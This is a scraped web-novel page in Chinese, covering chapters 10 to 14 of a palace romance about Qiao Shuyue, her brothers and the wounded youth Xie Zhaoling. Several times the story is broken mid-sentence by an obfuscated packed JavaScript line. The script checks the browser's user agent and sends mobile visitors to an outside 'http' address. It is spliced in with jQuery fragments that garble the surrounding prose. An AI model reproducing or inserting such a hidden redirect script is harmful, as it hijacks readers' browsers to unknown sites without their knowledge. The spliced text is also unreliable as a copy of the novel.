“嗯,我知道。”乔姝月抱着乔良的手臂,把脸贴上去,“二哥最好了。” 乔良最受用的就是妹妹的撒娇与夸赞,他勉强被哄好了一些,冷哼道:“这小子带回去也是祸患,我算明白刚刚那帮人为何对他心生恶意,他本就不是什么好东西。” 乔姝月忍了忍, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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乔姝月不可置信地向下看,眼底渐渐又一片模糊。 她看着少年从自己面前走过,而少年自始至终,没有看过来一眼。 “哎呦!这真是……” 医馆的郎中看着那触目惊心的一身伤,最终化为一声叹息。 连乔良也沉默下来,半晌说不出一个字。 少年的身上几乎没有一块好地。红肿的,青紫的,泛黑的,才出过血结了痂的,才刚被鞭笞翻了肉皮的,各个阶段,新伤压着旧伤,重重叠叠,令人心惊。 他手臂上的烧伤因为年深日久、又没好好处理过,已经留下大片的疤痕,狰狞的伤痕如藤蔓般,顺着他的上臂蜿蜒攀爬至肩膀。 前世乔姝月曾见过这处伤,只是那时看起来痕迹很淡,远不如此时深刻、残忍。 郎中先给少年看腿,小姑娘心疼坏了,她扯着手帕,委屈得不行。 “这是怎么弄的啊……” 谢昭凌听见吸鼻涕的声音,面无表情地抬眸看了她一眼,漆黑的眸子里带着些恐吓,一本正经地胡诌: “盗窃了传家宝,被主家打断的。” 乔姝月眼含泪包:“……” 11. 第 11 章 【11】 少年这会倒是心平气和地回答了她的问题,没有再爱搭不理,只不过这语气怎么听都像敷衍。好像他说自己品性低劣,她就能放过他一样。 郎中冷笑了声,拆穿道:“真是胡说八道,你这明显是跌伤。” 少年轻嗤了声,不说话了。 郎中端详片刻,斜眼看他,“你这腿,自己接的?” 少年置若罔闻,显然是默认。 郎中气恼地骂道:“真是胡闹!你学过吗就自己上手?你这腿没废算运气好!” 少年不在意地“嗯”了声。 他满不在乎,身旁的小姑娘却紧张得不行。 “大夫,他的腿伤很要紧吗?能治好吗?” 郎中瞥一眼女孩,脾气缓和了些,“能,养着就行。” 乔姝月松了口气。 既然要治伤,乔姝月便让郎中给他全身上下全都检查一遍。到底男女有别,乔姝月不便留下。她才被乔良拉出内间,便见外头匆匆进来一人。 乔良身边的护卫认出来人,愣了一下,“你怎么来了?” 兄妹二人循声望去。 来人抱拳行礼,“二公子,月姑娘,小的是四公子院里的,我们公子交代,让二位午时前务必归家。” 午时? 乔良往外看了一眼天色,日头正悬在头顶,不早不晚,刚刚好。 他疑惑地看向姝月,“四弟怎会知道我们在此?你同他约好了?” 乔姝月脸色微白,摇头,轻言:“四哥怕是……怕是都知道了。” 别人不知道,她都知道,四哥自小就聪慧过人,他因为是庶子,和二哥一样肩上并没有撑起家族的担子。 二哥游手好闲,四哥却勤勉好学,但四哥低调,从不爱出风头,他的才华和城府都藏得很深,若非前世那些事,乔姝月至死都不清楚,四哥乔誉是个多么深藏不露的人。 他能猜出她去了哪,做了什么,再正常不过。 “四哥从不做多余的事,咱们得回去。”乔姝月不安道,“二哥你且等等。” 说罢她转身回了内间。 掀开门帘,冒冒失失闯入,正要开口,忽听郎中惊呼一声。 而少年迅速捞起扔在一旁的破烂衣裳,匆忙间,堪堪遮住自己的下半身。 他面上难得浮现出窘迫的神色,在昏暗的房间里,耳根悄悄泛热。 一室沉默。 乔良这时也走了过来,“月儿?” 乔姝月回神,眼神飘忽,视线旁移,“我,我们要先回府……” 她微红着脸,将自己怀中的小荷包取出。 当着郎中的面,把里头花剩下的碎银子都倒在桌上。 “就、就剩这些了。”她把银子推到郎中面前,可怜巴巴地请求,“吴叔,能不能请你先收留他两天?” 吴大夫笑了,“哟,有事求人就喊叔?刚刚不还一口一个大夫的?” 这位吴大夫原也出身官宦人家,和乔父乔母都自幼相识,有数十年的交情。吴家后来家道中落,和乔家的关系也一直没断。 他常到乔府看诊,和乔家人都很是熟络。 乔姝月赧然低头,“吴叔,你人最好了,不叫你白帮。” 吴大夫觑她,“我要是收你的钱,才真是为老不尊。” 吴大夫没接那钱,转头又去按少年的腿。 乔姝月时间不多,没法磨到人松口,于是她干脆不理吴大夫的拒绝,将银子留下扭头就跑,人逐渐跑远,话飘飘忽忽传进内间二人的耳中: “您千万莫要对我娘提起此事,您最好了——” 自小时起,乔姝月便生得明眸善睐,伶俐可人,凡是见过的都会不由自主心生怜爱。 吴大夫往来乔府次数多了,自然也同乔家人一样,将这小丫头当做半个女儿在疼爱。 小姑娘看着乖巧,实则脑袋里总有些古灵精怪的想法,有时闯了祸,还要他这个做叔叔的帮忙遮掩。 她小时候就心善,爱捡个流浪的猫儿狗儿往他这送,让他救。 吴大夫手下施针,抽空抬眸看了眼少年。 捡人给他救治,倒是破天荒,头一回。 ** 不知家中发生何事,能让四哥派人叫他们回去。 乔姝月一路心情忐忑,心底做了最坏的打算,结果马车才一停下,还未动弹,马车又晃晃悠悠重新动了起来。 乔良微微蹙眉,撩帘往外看了一眼。 他的贴身护卫正与另一人背影陌生的人并肩而坐,驾着马车朝乔府的后门而去。 后门外巷子狭窄,马车无法通过,多为府上的奴仆进出用,大多时候派不上用场。 “你是……” 那背影陌生的小厮转回头,微微颔首,“二公子,我是四公子身边的俞升。” 是一张清秀的娃娃脸,笑起来有两个酒窝。 这张脸乔良认得,和乔誉从小一起长大,形影不离,算是乔誉最亲近信任的心腹。 乔良拧眉,“四弟他人呢?” 俞升面带歉意,解释道:“公子他没说那么多,只是出门前交代小的在门前等候,让您走后门也是他的意思。” “他不在府上吗?” 俞升嗯了声,“公子去安济寺寻夫人了。” 顿了顿,小心翼翼:“他还说,二位出门为着何事,心里有数,此时该谨慎为上,若不想受罚,就听他的……” 后面其实还跟了五个字——“别问东问西”,俞升瞄着乔二公子那陡然黢黑的脸色,深觉自己将话口断在此处是个正确的选择。 乔良定定看着俞升,半晌,扔下帘子坐了回去。 马车中的乔姝月隐约听到他们的交谈,她紧张地搓着手指,“二哥,我们得听四哥的。” 乔良不知妹妹对老四的自信是哪儿来的,不过妹妹都如此说了,他自无话可说。 从后门外下了马车,两兄妹携了自己的贴身近侍,悄无声息地各自溜回院里。 没一会功夫,刘妈妈也回来了。 早在乔府外,跟在马车外的刘妈妈就被单独请走,连同从二公子院里借来的十个精壮护卫一起。 此刻刘妈妈进门,一问才知,她和护卫从侧门光明正大进府这事,也是乔誉的安排。 “那个自称是四公子近侍的小厮瞧着是脸熟,他神色严肃,我便不敢怠慢,再加上我看到俞升接管了马车,还以为是姑娘您找了四公子做内应呢。” 乔姝月面色发苦,摇摇头,“我哪敢找他。” 刘妈妈心有余悸,“还好听了四公子的,我们进门就碰到夫人身边的李嬷嬷了,她说早上见我带着人出门,惊得我出了一身冷汗。” 乔姝月心高高提起,紧张道:“她看到我和二哥出门了?” 刘妈妈摇头,“她没提,必定是没看到,她看我都是背影,姑娘你出门早,没人察觉。” “她问我出去作甚,怎么要带这么多的人。”刘妈妈庆幸道,“四公子思虑周全,我学着他交代的话一一应答,竟叫人寻不到半点错处。” 正当乔姝月疑惑地要问是如何说的,只听玉竹惊呼了一声:“哇!这么多锦鲤!刘妈妈,哪儿弄来的?” 乔姝月低头,这才看到刘妈妈脚边放着个水桶,里头欢快地游着七八条通体金红的鱼。 刘妈妈笑了声,“这便是四公子的妙计了,他派人把这鱼交到我手里,让我就说——姑娘落水那日没捞到鱼,不甘心,听说护城河以西的一条小河有鱼,哭着闹着找人去捞。” “偏偏咱们院中只一个李护卫,还是个不会水的,所以我就只能去找同咱们姑娘最要好的二公子借人。” 于是刘妈妈早上带着十名护卫匆忙出门有了合理的解释。 玉竹听得一愣,喃喃自语:“这套说辞,跟真的似得。” 要不是她知道内情,怕是立马就信了。 “是啊,姑娘为了捞鱼落水生病,这事府上人尽皆知,李嬷嬷听罢也只笑着说姑娘小孩儿心性,咱们乔家人都是执拗的性子,此举再合情合理不过。” 乔姝月心绪澎湃,半晌没说出话来。 有了乔誉的相助,乔姝月和乔良偷偷出门这事竟无一人察觉。 午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213492|139295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时已过,乔姝月在屋中用了饭,又让人煎了药,服用过后,昏昏睡去。 等她再醒来,隐约听到屋中几人低语的声音。 两道熟悉的男声,还有…… 乔姝月迷迷糊糊唤人:“阿娘?” 褚氏蓦地转头,笑了:“醒了?” 褚氏抬手摸了一下姝月的额头,满意地点头,“没再起热,看来将你禁足在家是有用的。” 乔姝月闻言蓦地睁大眼,对上娘亲温柔的笑眼。 这么说,阿娘果然不知她偷偷出门的事! “阿娘……”虽说阿娘不知,但这事总归是她做得不对,姝月抱上去,撒娇地蹭了蹭,“对不起,阿娘,月儿不该在病中出门。” 她不该出门,不该撒谎,更不该连累哥哥们帮她一起圆谎。 她是个坏孩子,可她别无选择。 因为谢昭凌也是她生命中很重要的人,她没法弃他不管。 耳畔落下一道咳嗽声,乔姝月循声望去,只见二哥正心虚地揉着脖子,“那什么,我就先走——” “忙什么?”正处于变声期的少年似笑非笑,拉住兄长的手臂,“母亲此行安济寺,为的就是给月儿还有二哥祈福,愿上天庇护,让二哥耳清目明,少些恣意妄为的糊涂事。” 乔良:“……” 指桑骂槐什么呢?他怎么就耳聋眼瞎、胡作非为了?他那叫宠妹妹,老四懂个屁! 他板着脸,“我是你哥,没大没小的。” 褚氏冷哼了声,“你这个做兄长的,还不如弟弟懂事,再有两年也是要弱冠的人了,这般不稳重。” 主母训话,乔良自然没胆子反驳。 他暗暗瞪一眼乔誉,垂下脑袋,“母亲教训得是。” “听誉儿说,你院里的人给月儿捞鱼去了?不错,这才是兄长该有的样子。”褚氏目光淡淡,“昨日的事便不同你追究,毕竟准许月儿出门也有我的责任。” 乔良揖手,“谢母亲。” “赵姨娘先前在月儿病中来替你求情,你是她的孩子,她焦急,我理解,但她着实不该求到月儿面前,以下犯上,说那些不该她身份说的话。” 乔良垂下头。 褚氏话锋一转,“不过月儿愿意为你求情,也是你平日善待、宠爱月儿的缘故,你们兄妹感情深,做母亲的很是欣慰。赵姨娘的禁足打今儿起就解了吧,你晚上可以陪她用晚膳。” “多谢母亲!”乔良喜出望外,眉开眼笑,他学着乔姝月,“您最好了。” 乔良蹦蹦跳跳地跑出门去,褚氏头疼地捏了捏鼻梁。 又关怀几句,看着女儿面色如常,褚氏便放下心,她起身唤了声乔誉,“陪你妹妹说会话吧,我还有事,就先走了。” 乔誉毕恭毕敬,“母亲慢走。” 房中很快寂静下来。 乔誉在原地站了会,慢慢走到榻前。 他垂下眸,只见小姑娘眨巴着眼,无辜地望着自己。 然后讨好地凑上来,挽住他胳膊,羞赧地说: “四哥,你这么聪明,明日能否再想个法子带我出门?” 乔誉目光里的冷静寸寸崩塌,终是忍无可忍,手掌盖住在女孩的头,嫌弃地将她推了回去。 ** 隔日一早,乔姝月神清气爽,从马车走下。 她仰头望着“吴氏医馆”四个大字,回头笑望身后的兄长。 “你说这馆中有给我的‘解释’,”乔誉目光冷淡,从她笑意粲然的脸上划过,“你最好说到做到。” 他背着手,径直从她身旁走过,刚要敲门,身后忽然传来一阵急促的脚步声。 “月姑娘!” 一人嗓音惶恐,带着哭腔。 兄妹二人一同回头,乔姝月迟疑道:“你是二哥昨日留在这……” “是小的,那小子他——” “他出事了?”乔姝月急急地问。 妹妹如此焦急,叫乔誉微微挑了下眉。 小厮欲哭无泪,咬着牙:“那小子,他逃了!” 咔嚓一声。 乔姝月的心碎掉了。 12. 第 12 章 【12】 乔良离开医馆时,留下个护卫,名为照顾,实为看管。 天色将黑,吴大夫为少年最后上了一次药,嘱咐他莫要下地走动后,便离开医馆,出城采药。 临走前,将钥匙交给乔家的护卫,交代说若要离开,务必记得锁门,这馆中虽无什么名贵药材,但若遭了贼到底也麻烦,更何况屋中还有一病号,需要好生静养。 护卫谨记叮嘱,于是在吴大夫前脚刚离开医馆,自己又确认过少年已陷入熟睡,后脚便锁死大门,喝酒去了。 房门落锁,假寐的少年慢慢睁眼。 眼底清明一片,毫无半分睡意。 半个时辰后,他站在“郑府”门前。这半个时辰,足够他打听清楚那个郑丰南的府邸,并找过来。 那人朝他递出橄榄枝,他实在心动,他打听了,这个“郑丰南”是个徽商,今年二十来岁,是近一个月忽然在京城中名声鹊起的人。 他的名声多在市井,出手大方,为人爽快,在商言商,是个十分有信用的人。 一个才到京城便能掀起大波大浪的商人,背后没有人撑腰是绝不可能的。 悦泉楼那个地方表面上清幽雅静,人人光风霁月,实则内里暗流涌动,藏污纳垢。 众人趋之若鹜的悦泉楼,郑丰南是东家。如此身份,郑丰南却说自己是西京城中的一号小人物。 那如自己这般的,又是什么呢?是蝼蚁,是尘埃,是人人都可踩上一脚的卑贱罪奴。 谢昭凌从前便知,在这个世道,不往上爬是不行的。他想要活,想堂堂正正,想像个“人”一样地活。 他的手抚向胸口,从怀中掏出一团被揉得褶皱的纸团。 画像的部分墨迹被血晕染,像是上天对他的警示。告诉他,无论他走到哪儿,哪怕他跋山涉水远离家乡,哪怕吃尽苦头来到皇城,暗中那双眼睛都如影随形。 眼前似有层层迷雾,遮挡着他的目光,他需要破除阻碍,才能抓出幕后的那只手。 谢昭凌将画像折起,再度揣进怀中。 比起毫无缘由的善意与好心,他更相信摆在明面上的精明与算计。 少年身披破旧的衣裳,带着一身累累伤痕,孤零零地伫立在高大石狮与巍峨院墙的夹缝间。 他抬头望向月亮。 薄薄月色自穹宇降下,笼罩在万物之上,披洒向黯淡人间。 月光铺在青砖石路上,照在威武石狮上,映在灰白墙壁上。 却唯独吝啬施舍于角落里的他。 ** “爷,都查清了,从齐猛手里带走那小子的是乔家幼女和二公子。” 郑府书房中,郑丰南正伏于案上,对着方灯翻看“上面”刚送来的密信。 他闻言一顿,诧异道:“乔家?御史大夫乔存毅?” “是,乔御史在朝堂上和柳司空作对,司空大人顾全大局忍气吞声。现在他的儿女也跑来横插一脚咱们的事,可要给他们一个教训?” 郑丰南搁下笔,思忖片刻,没答幕僚,反而问道:“我记得乔家老大已入仕?” “大公子乔慎之在大理寺任寺正。” “大理寺——”郑丰南从桌上翻出一册案卷,眯着眼睛看了半晌,“大理寺忙着那桩命案,现下正焦头烂额,找他的麻烦也没什么意思。” “那乔家抢走您看上的人,就这么算了?” “当然不。”郑丰南后背靠进椅子里,笑了笑,“只是同小孩子计较未免有失风度。” 他想了想,道:“养不教,父之过。” 幕僚了然,这账最后还是要算在乔御史身上。 他又道:“齐猛生了异心,连同那几个私下把人带走的都被刘管事处理干净了。” 郑丰南神色淡淡,没将无关紧要的喽啰放在心上。 “乔家的事收敛些做,三爷离京这段时日,让底下的人也警醒些,莫要太张扬。悦泉楼的‘生意’先停一停,宫里风声紧,莫在此时给二皇子——”郑丰南顿了顿,嗓音低下去,“还有贵妃娘娘添麻烦。” 幕僚应声,刚打算开口禀报另一事,便听主子“咦”了一声。 郑丰南好奇道:“那个小子呢?乔家的人买他,他就心甘情愿和他们走了?” 难不成他看错人了? 幕僚犹豫开口:“这正是属下要同您说的第二件事。” 他抬头,“暗卫来报,说那小子就在府外,已经站了两个时辰。他有些本事,不声不响的没惊动人,险些就被瞒过去了。” 郑丰南眼底略过兴味的光,他嘴角牵起笑容,“哦?” 幕僚问道:“可要把人带进来?” 站在门外一动不动,鬼鬼祟祟,邪门得很。 郑丰南走到窗边,推开窗户,望向天空,喃喃自语:“两个时辰啊……” 一夜竟过得这样快,天都快亮了。 郑丰南静默良久,轻轻笑了一声。 ** 吴氏医馆中,乔姝月站在内间门口,对着空空荡荡的诊室,神情哀伤。 他走了,他竟然走了。 “姑娘,不值当为着一个小奴如此伤神。”刘妈妈心里也有了气,亏了她昨日见那少年一身是伤还心疼来着,没想到是这么个狼心狗肺的玩意儿,“姑娘病还未好利索,犯不着为个白眼狼气坏身子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213493|139295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔姝月一个字都听不进去,她安静地望着空无一人的房间,慢慢走到床榻前。 直到此刻,乔姝月才意识到,她害怕的不是谢昭凌会离开她,而是害怕他离开后依旧孑然一身、孤苦无依。 前世某次重病之时,她同他说起那些旧事。 谢昭凌似乎毫不在意自己的伤疤被人揭开,他只关心自己在爱人的心中形象是否有损。 不知是为了维护自己英明神武的帝王形象,还是不敢直面那段落魄时期的过去,谢昭凌并没有继续谈论这件事,只是默默将她吻住,不许她再追问。 乔姝月从始至终都觉得,应该是前者,毕竟陛下在她的心中,是这世上最强大勇猛的英雄。 只是当时的不曾追问,此时此刻才后觉可惜,若她能知晓更多内情,说不准此刻就知道他去了哪。 乔姝月站在榻前沉思,她回想着前世听到的所有关于谢昭凌的传言,惊觉对他的了解实在如管中窥豹,知之甚少。 她已将他从悦泉楼救出,他应当不会再被人卖去做苦力了。但他何以上了战场,又集结了反叛军呢?这中间间隔至少五年,她对未来全然无知。 没了悦泉楼,兴许还有别的陷阱,在这权势当道的西京城里,人心叵测,危机四伏,他又该如何自保? 乔姝月想得出神,忽然落入一个温暖的怀抱里。她茫然抬头,对上刘妈妈担忧的目光。 “姑娘,莫要伤心难过。” 乔姝月不知自己的眼睛何时红了,她认真道:“我很冷静。” 冷静得将前世每一个细节都反复翻找、核实,只为寻求一个答案。 刘妈妈叹口气,抬手在她眼角抹了一下,给她看自己指尖的潮湿,“人不大,嘴挺硬。” 正此时,外间忽然传来一声了巨响。 屋内主仆二人被惊动,忙出去看。 原来是乔誉从护卫的口中了解到部分内情。 “你在老夫这儿撒什么火?”吴大夫看了一眼被乔誉踹倒的木凳,一边拨弄算盘,一边漫不经心地道,“我怎么知道他何时跑的?他翻窗走的,无声无息。” 眼见小姑娘出来,吴大夫呶嘴:“喏,银子拿回去,老夫可不掺和你家的事。” 乔誉眼底蕴满压抑的怒火,蓦地转过头,盯着姝月。 他咬牙:“你花了五十两买他?” 乔姝月吓得浑身抖了下,埋下脑袋,不敢回应。 乔誉气笑,连说了两声好,重复道:“你花五十两,买下一个来路不明的罪奴。” 乔誉平复着呼吸,半晌,目光阴狠,“俞升。” “公子!” “报官。” 13. 第 13 章 【13】 “是。” “不行!” 后两道声音重叠在一起。 乔誉没什么情绪的看了妹妹一眼,转头对着俞升,认真道:“去,报官。” 俞升扭头就走。 乔姝月红着眼睛瞪了四哥一眼,拎着小裙子追了出去。 她惊慌失措,跟在后面哀求呼喊:“俞护卫!俞——” 她看着俞升不顾自己的挽留,一心遵从四哥的命令,心急如焚。越过门槛时,不慎踩上裙摆,身子骤然失去平衡,往地上栽去! 她害怕地闭上眼,以为自己要狼狈摔倒。结果猝不及防地,撞进一个温暖的怀中。 那一瞬间,风都静了。 她怔愣抬眸,望见一张熟悉的脸。 所有的委屈和后怕都在这一刻从心底翻滚着,汹涌而出。 少年目光错愕,双手稳稳接住她,“你……” 话音未落,女孩眼里瞬间冒出大朵泪花,死死抱着他的腰,委屈地大哭起来。 乔姝月经历了第二次的失而复得。 “你怎么能走呢?我花了银子的。” “难道非要绑着你签下身契,你才肯留下吗?” “你怎能这么对我?从前都不是这样的呜呜呜……” 小姑娘话说得又急又快,三句里有一半叫人听在耳中,能听懂的又连半句都没有。 谢昭凌任由她抱着,茫然无措站在原地,不知该作何反应。他的本能在警示他,应该将人推远,他讨厌和旁人的肢体接触。 手抬起,又颤抖着放下。 女孩子娇娇小小,没什么力气,推开她简直轻而易举,只是…… 谢昭凌心底诡异地冒出一个想法。 这一掌推出去容易,就是不知她会不会哭得更凶。 吴氏医馆外,过路的人皆投来好奇的目光。 谢昭凌只觉得头痛欲裂,他的理智被撕扯,一边是小女孩眼泪汪汪的样子,一边是幼时那些痛苦回忆给他带来的应激反应。 每一个碰他的人都没从他手里讨到好处,哪怕是两败俱伤,他也不惧去还击、去反抗。 唯有此刻。 谢昭凌忍着头痛,垂下眼睛,看着怀里伤心欲绝的小姑娘。 他抵抗着本能,挣扎着再度抬起手,想要轻轻地将她推远,不伤着她。 眼见枯瘦的手掌颤抖着要落在女孩肩上,怀中人忽然被人一把拉了出去。 少年眸中顿时戾气横生,仿佛被抢走猎物的凶兽,他如剑光般冰冷的目光直直刺向来人。 那人也是一样敌视着他,脸上带着愠怒,恨不得要杀了他。 乔誉站在台阶之上,将妹妹拉至身后,居高临下,俯视着少年,轻蔑地问:“就是他?” “正是!”没等乔姝月吭声,护卫抢着答道,“就是这小子!四公子,如何处置?可要小的将他拖去官府?” 察觉到小妹一把揪紧背后的衣裳,乔誉冷冷勾了下唇,“月儿千辛万苦才买来的小玩意儿,送去官府——” 他顿了顿,转过头问:“我只问你,若他一日在外,你是否就一日不消停?” 乔姝月吸了下鼻涕,对上兄长严厉的目光,心下一横,勇敢又干脆地道:“是!” 既然瞒不住,索性就摊牌吧! “很好。” 乔誉叫来俞升,“带几个人,将此子押回府,送到我院里,谁来要人都不许听。” 乔姝月大惊失色,“四哥,他是我——” 她想用同样的说辞应对乔誉,可惜乔誉不是乔良,不会对她的无理请求有任何动摇。 乔誉轻飘飘一个目光落过来,乔姝月便缩了脖子,不敢再吭声。 好歹算是过了四哥这关,把谢昭凌带回去了,也算不幸中的万幸吧。 乔姝月悄悄松口气,有四哥愿意帮她,后面的路会好走许多。 今日出门虽没有昨日那般大阵仗,但也带了几名护卫,加上乔良留下的那位,一共四人,纷纷走上前,将少年团团围住。 这样的场面谢昭凌习以为常,他没有抵抗,被押走前,他犹豫着,看了小姑娘一眼。 意外地对上视线,俩人都有片刻的怔忡。 谢昭凌心底再生出异样的感觉,这一次他竟忽视不得。他迟疑片刻,低声缓道: “我……我会还你。” “那五十两,我一定还。” ** “可惜啊,他终究选了另一条路。” 幕僚不懂,他瞧着主子漫不经心地喂着鱼,说出自己的好奇:“您初到京城,正是用人的时候,若真瞧上好苗子想要招揽,大可以强——” 话未说完,郑丰南笑着打断:“那多没趣儿啊,我可不是那般没有风度的人。” 他捻着指尖的鱼饲料,笑道:“你以为我任他离开,是为何?” 幕僚犹豫着,试探:“或许您看出他并非最佳人选?” 毕竟站在门外两个时辰,最终还是没有敲响郑府大门,而是选择离开,心不诚,志不定。 “不,他很好,或者说,目前是最好的那个。” “那您……” “因为要去办这事的人,非得心甘情愿不可。” 郑丰南收敛笑意,淡声说道:“胆识,孤勇,心甘情愿,心狠手辣,缺一不可。” 幕僚目光感慨,抱怨了声:“三爷不给您人用,还要您从大海里捞针。” 郑丰南无所谓地笑笑,“一个拔尖的细作,哪那么好挑,三爷手里也缺着呢。” “此事暂且先按下,如今柳家正在风口浪尖,咱们不能给三爷惹祸。叫人暗中盯着乔府,不妨让我赌上一把,”郑丰南自信满满,笑道,“且再看看,我这棵好苗子能被乔家人养成什么样,等他发现自己与这世道难以相融时,他就会知道今日的选择错得离谱,到那时再接触他,岂不更好?” “……” 藏在暗处的眼睛锐气逼人,厚重的阴云笼罩在乔府的上空。 轰隆——!! 雨幕连天,密雨潺潺。 下了马车,由角门入府,乔姝月跟在乔誉身后,亦步亦趋。 俩人的小院毗邻,中间一墙之隔,算是同路。 乔誉先走到自己院门口,停下脚步,回头看了眼始终缀在自己身后的小萝卜头。 乔姝月收回已经踏入他院中的一只脚,表情讪讪,“四哥,好巧啊。” 乔誉不言不语,垂眸看她。 巧吗?跟他一路了。 乔姝月仰着头,眼巴巴地,暗示道:“雨这般大,不请我进去坐坐吗?” 乔誉不为所动,冲不远处一扬下巴,“回你院里去。” 乔姝月低下头,鞋尖在地砖边缘踩了踩,从缝中压出来的泥水弄脏了鞋袜,她不甘道:“……好吧。” 乔姝月回到木兰院,换了身干净的新衣裳。 坐在小板凳上,望着眼前的雨帘,唉声叹气。 不多时,李护卫归来,一身水气跪在乔姝月的身前。 小姑娘两眼放光,“怎么样?瞧见他了吗?” 李成低下头,尴尬地道,“嗯,瞧是瞧见了……” “他如何?” “四公子让人把西耳房收拾出来,供那小公子住。” 乔姝月笑容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13213494|139295||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 渐渐消散,“我记得月前那场暴雨弄坏了西耳房的屋顶,四哥一直没让人修。” 房顶还是漏的,这如何能住人? 刘妈妈端着小厨房送来的姜汤走过来,闻言道:“四公子说反正也是空着,加之那间耳房不与正房连通,不影响什么,所以就没让夫人派人来修。” 玉竹护着怀里一筐花瓣,两步从雨中跨进廊下,她将竹篮放到地上,说道:“四公子平日最是节省,他那身衣裳破了都不吭声,还是咱们夫人瞧见,押着他去做了一身新的。吃穿用度上能省则省,一间不住人的屋子,他哪里舍得去修。姑娘,晚上给你做鲜花饼吧?姑娘?” 乔姝月没听到玉竹叫她,只记得在荒芜的后院中,悦泉楼那领头人说的话: “咱们把他买回来,给他吃给他喝,还让他能安安稳稳地住在有顶的房子里,已然是大发慈悲、行善积德……” 他在悦泉楼那样的地方尚能睡个有顶的房子。 “你脑袋怎么了?”刘妈妈疑惑地看着李成,“青了一块,快去涂些药,别吓着姑娘。” 木兰院里的婢女们平日就爱拿李成开玩笑,他是院中唯一的护卫,又生性腼腆,平日里少与人发生冲突,今日脸上挂彩,众人皆稀奇得不行,围着他打趣。 李成不好意思地挠头:“这是四公子身边的俞升拿弹弓打的。” “哇,俞护卫好身手!” “分明是李护卫轻功太差。” 刘妈妈瞪他,“姑娘叫你打听消息,没叫你爬墙偷看。” 乔姝月没心情与她们玩闹,心事重重地离开,将众人的声音抛在身后。 ** 月上梧桐梢,下了一整个傍晚的雨终于停下。 少年擦去最后一处积水,半蹲在木盆旁,将手里抹布拧干。 水滴落在盆中,激起一圈圈涟漪,烛光闪烁着,趋于平静的水面映出他的面容。 他微怔,一时间竟记不起,已经有多久未曾注视过自己。 年轻稚嫩的脸庞上仍有青一块紫一块的伤,但血已经被洗净,完完全全露出他的本来面目—— 一张苍白得厉害的面孔,和一双写满攻击的眼眸。 凤眸微垂,眼尾懒洋洋地耷拉着,凌厉的气息在不自觉间外散,自己瞧着都觉得厌烦。 手指一松,拧干的抹布掉回盆中,激起一片水花。 周围一圈半干的土地被水洇得再度深了几分,少年忽然卸了力气,就地坐下。 他屈膝而坐,手撑着头,忽而想起那位公子哥警告他的眼神,以及离开时说的话: “月儿救下你是心善,她慈悲心肠,见不得欺凌弱小,今日哪怕是只狗,她也不会置之不理。摆正你的位置,莫要有多余的心思,否则——” 否则? 谢昭凌嘲讽地牵动唇角。 他对着一个菩萨能有什么心思?他这辈子最讨厌的便是那些所谓的“信仰”,当然不会摆不正自己的位置。 再说,那小菩萨一时兴起将佛光照在他身上,岂会一而再再而三地,乃至深更半夜还想着来渡他? 除了那五十两的欠款,他们约莫不会再有交集。 谢昭凌背靠着椅子腿,仰头望向房顶砖瓦之间的破洞。 沉寂许久的黑夜忽然传出声响,由远及近,窸窸窣窣。 吱扭一声—— 门开了。 一条小短腿迈了进来,半截身子在里,半截在外。 小姑娘伸手向外挥舞赶人,用着气声催促:“把东西放门口就快走,轻些,莫要再被四哥发现了!” 谢昭凌定定望着那圆滚滚的后脑勺,慢慢眯起眼睛。 14. 第 14 章 【14】 夜半登门,鬼鬼祟祟。 谢昭凌抱着肩膀,不出声地看着门口。 屋里的烛火不知何时熄灭,也因此,大抵是因为屋中没有光亮,叫小姑娘误以为他睡下。 他睡了,然后她就偷偷摸摸地来推门。胆子竟这样大,半夜敢来推一个杀人犯的门。 窗上映出来一个影子,来来回回地搬放着东西,瞧着很是匆忙,看身形像白日里一直跟在小姑娘身边的那名护卫。 下午他见过这护卫,彼时那人就趴在墙头,像做贼一样偷看院里。 他那时心不在焉地听着俞升训话,察觉到墙上有人,警觉地投去一瞥,只这一瞥,便叫俞升发现,弹出去一石子。 当时没觉得有什么,此刻却生出烦来。 啧,在这小姑娘手下当差,似乎还不如在悦泉楼省事。 “快走吧,快走吧!” 乔姝月看着李护卫从那堵矮墙上翻回去,这才将全部身子缩回门里,两只小手轻轻将门关合,却没第一时间转身。 屋里寂静无声,光线昏暗,想来他已经熟睡良久。 